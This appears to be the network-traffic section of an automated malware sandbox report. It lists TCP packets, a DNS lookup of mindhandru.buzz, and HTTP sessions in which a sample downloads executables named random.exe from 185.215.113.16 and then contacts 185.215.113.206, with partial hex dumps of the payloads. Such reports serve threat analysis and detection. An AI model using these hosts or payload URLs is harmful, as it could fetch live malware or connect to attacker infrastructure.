Dec 27, 2024 08:46:32.979463100 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.980390072 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.980432987 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.980513096 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.980549097 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.981446028 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.981566906 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.981605053 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.982522011 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.982631922 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.982673883 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.983604908 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.983649969 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.983707905 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.984690905 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.984738111 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.984805107 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.985749006 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.985796928 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.985860109 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.985899925 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.986831903 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.986927986 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.986979961 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.987900972 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.988017082 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.988068104 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.988974094 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.989021063 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.989063025 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.990025043 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.990073919 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.990128994 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.990293026 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.991096973 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.991251945 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.991293907 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.992188931 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.992288113 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.992327929 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.993258953 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.993303061 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.993361950 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.994298935 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.994342089 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.994379997 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.994441986 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.994479895 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.995433092 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.995476961 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.995516062 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.996536970 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.996579885 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.996635914 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.997559071 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.997610092 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.997657061 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.998297930 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.998665094 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.998750925 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.998796940 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.999778032 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.999805927 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.999850035 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:33.000794888 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:33.000838041 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:33.000910044 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:33.001857042 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:33.001943111 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:33.001957893 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:33.002299070 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:33.002902985 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:33.003025055 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:33.003067970 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:33.003990889 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:33.004026890 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:33.004075050 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:33.005100965 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:33.005198956 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:33.005247116 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:33.006155014 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:33.006203890 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:33.006242037 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:33.006292105 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:33.007198095 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:33.007252932 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:33.007299900 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:33.007337093 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:33.008286953 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:33.008393049 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:33.008450031 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:33.009351969 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:33.010310888 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:33.154370070 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:33.154403925 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:33.154464006 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:33.154838085 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:33.154936075 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:33.154975891 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:33.155970097 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:33.156030893 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:33.156065941 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:33.156101942 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:33.156977892 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:33.157049894 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:33.157056093 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:33.157093048 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:33.158073902 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:33.158126116 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:33.158164024 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:33.158209085 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:33.159151077 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:33.159212112 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:33.159265041 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:33.159418106 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:33.160202026 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:33.160248995 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:33.160289049 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:33.161304951 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:33.161350012 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:33.161406040 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:33.162297010 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:33.162353039 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:33.162391901 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:33.162431002 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:35.556360006 CET	49838	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:35.556662083 CET	49860	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:35.676114082 CET	80	49860	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:35.676201105 CET	80	49838	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:35.676306009 CET	49860	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:35.676536083 CET	49838	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:35.677922964 CET	49860	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:35.797406912 CET	80	49860	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:37.112957001 CET	80	49860	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:37.113156080 CET	49860	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:38.741488934 CET	49860	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:38.741791010 CET	49866	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:38.861341000 CET	80	49860	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:38.861361027 CET	80	49866	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:38.861397982 CET	49860	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:38.861455917 CET	49866	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:38.865326881 CET	49866	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:38.984796047 CET	80	49866	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:40.254770994 CET	80	49866	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:40.254977942 CET	49866	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:41.795793056 CET	49866	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:41.796394110 CET	49876	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:41.916981936 CET	80	49866	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:41.917000055 CET	80	49876	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:41.917062998 CET	49866	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:41.917093992 CET	49876	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:41.969877005 CET	49876	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:42.090590954 CET	80	49876	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:43.401107073 CET	80	49876	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:43.401173115 CET	49876	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:45.022802114 CET	49876	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:45.023118019 CET	49883	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:45.142632961 CET	80	49876	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:45.142647982 CET	80	49883	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:45.142725945 CET	49876	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:45.142755985 CET	49883	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:45.142965078 CET	49883	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:45.262408972 CET	80	49883	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:46.520019054 CET	80	49883	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:46.521678925 CET	49883	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:48.024925947 CET	49883	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:48.025192976 CET	49890	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:48.145673990 CET	80	49883	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:48.145695925 CET	80	49890	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:48.145906925 CET	49883	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:48.145935059 CET	49890	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:48.146135092 CET	49890	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:48.265551090 CET	80	49890	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:49.590609074 CET	80	49890	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:49.590668917 CET	49890	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:51.241657972 CET	49890	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:51.241851091 CET	49900	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:51.361351967 CET	80	49900	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:51.361367941 CET	80	49890	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:51.361444950 CET	49890	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:51.361669064 CET	49900	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:51.361669064 CET	49900	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:51.481215000 CET	80	49900	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:52.755784988 CET	80	49900	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:52.756426096 CET	49900	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:54.273160934 CET	49900	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:54.273221970 CET	49906	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:54.392807961 CET	80	49906	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:54.392930984 CET	49906	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:54.393088102 CET	80	49900	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:54.393091917 CET	49906	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:54.393135071 CET	49900	80	192.168.2.4	185.215.113.43
Dec 27, 2024 08:46:54.512973070 CET	80	49906	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:55.778382063 CET	80	49906	185.215.113.43	192.168.2.4
Dec 27, 2024 08:46:55.778789043 CET	49906	80	192.168.2.4	185.215.113.43

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 08:44:51.765289068 CET	52881	53	192.168.2.4	1.1.1.1
Dec 27, 2024 08:44:51.903376102 CET	53	52881	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 27, 2024 08:44:51.765289068 CET	192.168.2.4	1.1.1.1	0xb08f	Standard query (0)	mindhandru.buzz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 27, 2024 08:44:51.903376102 CET	1.1.1.1	192.168.2.4	0xb08f	No error (0)	mindhandru.buzz		104.21.11.101	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:44:51.903376102 CET	1.1.1.1	192.168.2.4	0xb08f	No error (0)	mindhandru.buzz		172.67.165.185	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

mindhandru.buzz

185.215.113.16

185.215.113.206

185.215.113.43

31.41.244.11

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49744	185.215.113.16	80	7332	C:\Users\user\Desktop\Idau8QuYa3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:45:15.877298117 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 27, 2024 08:45:17.255116940 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:45:16 GMT Content-Type: application/octet-stream Content-Length: 5242880 Last-Modified: Fri, 27 Dec 2024 07:41:34 GMT Connection: keep-alive ETag: "676e5a2e-500000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 10 50 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 50 00 00 04 00 00 74 b3 50 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(P@@PtP@M$a$$ $$@.rsrc$$@.idata $$@frhnetpr@+$4+$@tbiteucnPO@.taggant0P"O@
Dec 27, 2024 08:45:17.255173922 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 08:45:17.255182981 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 08:45:17.255233049 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 08:45:17.255244017 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 08:45:17.255254984 CET	1236	IN	Data Raw: d5 57 ea 95 56 7b e6 ce 4e f0 a5 6d 38 7b 71 94 cb bc e4 48 c8 e6 a5 6d 24 40 73 94 cb 3e a5 12 11 8f 71 94 56 53 8d be 56 7b e4 1e 2d cd 70 be 1e f4 0c 94 cb bd 89 43 40 7b 71 0b 90 47 8a 4b 40 7b 71 ea 52 f6 2e 60 ab 7b 21 04 c5 8b e1 05 c5 f8 Data Ascii: WV{Nm8{qHm$@s>qVSV{-pC@{qGK@{qR.`{!c#@{qSV{{q.^V..^V..^V..^V..^V..^V..^V..^V^S/-^V/.^V/.3^V/.;^V/.#^V/.+^V/.^Vomtq$y
Dec 27, 2024 08:45:17.255264997 CET	1236	IN	Data Raw: b2 7b e4 c6 2a ca 18 97 40 87 e1 f0 56 d3 15 b9 93 7b 70 be ea f4 0c 94 c9 2f 6c 09 8f 7a 89 af 46 7b 71 0b 3d f2 16 44 d0 40 fe bd d1 64 fe 81 bf c8 70 be 62 8a 0c 94 ae c7 56 d3 56 c8 70 be fa 8b 0c 94 53 ee 61 09 8f 7a 89 9b 46 7b 71 0b 3d fe Data Ascii: {*@V{p/lzF{q=D@dpbVVpSazF{q=v.Di!W={N@V{p'ozWF{q%~B@/V{@V.\.aV(.`VywsW={O-aVmq>mq>jzq}
Dec 27, 2024 08:45:17.255440950 CET	1236	IN	Data Raw: f8 cb 70 94 56 fe 94 e1 79 fe 70 e1 7d f8 f6 69 55 ef 5c ff 83 64 5f a0 c5 d8 71 0b 90 57 22 c3 57 0e d5 05 b2 7b 09 f8 79 38 71 97 40 97 e0 f0 56 f6 35 8e c9 3c 72 6c 9c 70 71 94 cb 6b eb 5e ad 64 71 94 d0 6d fe bd d1 40 fe 81 83 cd 70 be 62 8a Data Ascii: pVyp}iU\d_qW"W{y8q@V5<rlpqk^dqm@pbVVpSazK{q=<@miW={N@V{p/hzGK{q={.<pbVVpVd"@V5<rcK{q%\|@@/
Dec 27, 2024 08:45:17.255453110 CET	1236	IN	Data Raw: 3d fe 94 e1 7b f0 2e 44 d0 bb fd 81 d1 64 fe 85 86 c8 70 be 62 8a 0c 94 bf c8 70 be fa 8b 0c 94 c9 8e 51 97 56 64 04 ba 84 53 2d b8 54 7b e4 1d 4d f2 2e 6c 52 65 e7 cc 55 f8 ad 8d cd 3e 79 6d b8 7d 71 94 cb 6b ef 9f a1 1a ee 78 a1 06 e4 ce 2e f8 Data Ascii: ={.DdpbpQVdS-T{M.lReU>ym}qkx.9W={.bd_8qKrN.D-hV.-oV.DmpbO{qSV{udq-_hV&DU#@V..Wf!0il~q}JN!@/Vtmqa
Dec 27, 2024 08:45:17.255464077 CET	1236	IN	Data Raw: a5 7f 72 e5 52 f0 01 8c cd ea 69 0b 95 73 ee 55 a1 78 ea cd 4a f0 2e a8 d1 bb fd ee cb 33 79 10 15 6b a9 95 55 7b 71 94 d1 b2 fd ac d3 22 71 e0 74 20 a2 1e 4d f0 a1 0a 40 bf e2 f0 56 f0 02 90 55 eb 6d 0b a4 73 ea e5 4e f0 2a 8c d1 b2 fd 90 cd 3a Data Ascii: rRisUxJ.3ykU{q"qt M@VUmsN:ewJVSi^PqrRisUxJ.3ykU{q"qt M@VUmsN:ewJVSi^PqrRisUxJ.
Dec 27, 2024 08:45:17.375082970 CET	1236	IN	Data Raw: 4e d3 19 b7 93 7b 09 f0 77 38 71 33 49 f5 0c 94 2e 1f 57 94 56 d1 67 ec a6 04 2c 94 ae fb 50 d3 56 98 c1 0d b2 7b 89 87 78 7b 71 ea 45 d3 e1 b4 93 7b 09 30 76 38 71 33 fd f6 0c 94 2e 63 57 94 56 d1 69 ec 1e 04 2c 94 ae bf 50 d3 56 98 4d 0a b2 7b Data Ascii: N{w8q3I.WVg,PV{x{qE{0v8q3.cWVi,PVM{sx{qK{xv8q3}.VVlv8qV,/VSV{QVI{Yqlqv8q,VSV{QV{%qlqru8q,VSV{QV{qlq
Dec 27, 2024 08:45:26.226624966 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 27, 2024 08:45:26.673124075 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:45:25 GMT Content-Type: application/octet-stream Content-Length: 3241472 Last-Modified: Fri, 27 Dec 2024 07:41:43 GMT Connection: keep-alive ETag: "676e5a37-317600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 80 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf1@172@Wke10e1 @.rsrc@.idata @guulvnfq**@wreswaohp1N1@.taggant01"T1@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49745	185.215.113.206	80	7852	C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:45:28.355463028 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 27, 2024 08:45:29.729700089 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:45:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
